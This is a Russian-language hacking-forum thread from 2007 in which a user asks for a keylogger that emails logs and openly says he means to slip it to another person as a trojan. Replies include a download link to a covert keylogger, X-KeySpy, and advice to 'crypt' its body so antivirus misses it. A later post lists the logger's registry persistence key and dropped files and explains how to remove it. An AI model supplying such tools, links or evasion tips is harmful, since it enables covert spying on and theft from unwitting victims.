Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   Кейлогер нужен (https://forum.antichat.xyz/showthread.php?t=31938)

Benzin 23.01.2007 22:22

Кейлогер нужен
 
Дайте плиз линк на хорошего кейлогера, только мыльного, типа как в пинче и хинче, но только чтоб работал.
___________
Спасибо!

freddi 23.01.2007 22:25

Я пользуюсь SC-KeyLog мне нравится)))

http://www.ruloads.com/utils/security/11730prog.html

Benzin 23.01.2007 23:39

Цитата:

Сообщение от freddi
Я пользуюсь SC-KeyLog мне нравится)))

http://www.ruloads.com/utils/security/11730prog.html

Я че то не понял как его юзать то, даже не врубился где ключ вводить... а то 10 дней всего, да и руссика на него че то не нашел...

hsi 23.01.2007 23:42

X-KeySpy v0.7
_http://freeshells.ch/~hsi/xkeyspy.zip
Очень приличный логгер. Имеет собственный smtp-сервер для отправки отчетов.
P.S. После конфигурирования желательно закриптовать тело.

Robin_Hood 23.01.2007 23:49

http://www.actualspy.ru/
http://www.z-oleg.com/secur/articles/keylogger.php
http://worldcpp.vingrad.ru/vspp/zgrt117.php
http://content.mail.ru/pages/p_1684.html
http://www.izcity.com/lib/28042005.htm
гуглим товарищ

Benzin 23.01.2007 23:56

Про актруал спай знаю, у самого стоит.., вы меня видимо не так поняли... мне нужно впарить кейлогер челу, как трояна, а потом просто словить лог на мыло или на хост, а эти вроде не по такому принцыпу работают..
Или я ошибаюсь, поправьте если че..

hsi 24.01.2007 00:22

Benzin
Ну вот xkeyspy по такому принципу и работает. После запуска незаметно устанавливается в системе и шлет логи на указанный при конфигурации email. Размер сжатого тела - 5 Кб.

Benzin 24.01.2007 00:47

Цитата:

Сообщение от hsi
Benzin
Ну вот xkeyspy по такому принципу и работает. После запуска незаметно устанавливается в системе и шлет логи на указанный при конфигурации email. Размер сжатого тела - 5 Кб.

Пасиб, я уже понял после того как установил его.., я так понимаю впаривать надо сам keylogger. Я его себе запустил, где его искать теперь и как избавиться?

hsi 24.01.2007 01:15

Benzin
Вот это я не помню.
Проще всего тебе будет запустить AVP и удалить им, так как эта версия некриптованная и ее сигнатура есть в базе.
Либо запустить еще раз и отследить манипуляции с ФС и реестром с помощью Regshot, File Monitor

hsi 24.01.2007 01:46

Расковырял я его.
Логгер делает следующее:
Пишет в реестр -
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run\svroot с параметром C:\WINDOWS\system32\svroot.exe
Пишет в системную папку два файла:
C:\WINDOWS\system32\svroot.dll
C:\WINDOWS\system32\gorsys32.dll
Чтобы избавиться от логгера достаточно удалить параметр из реестра и тело из системной папки.


Время: 13:07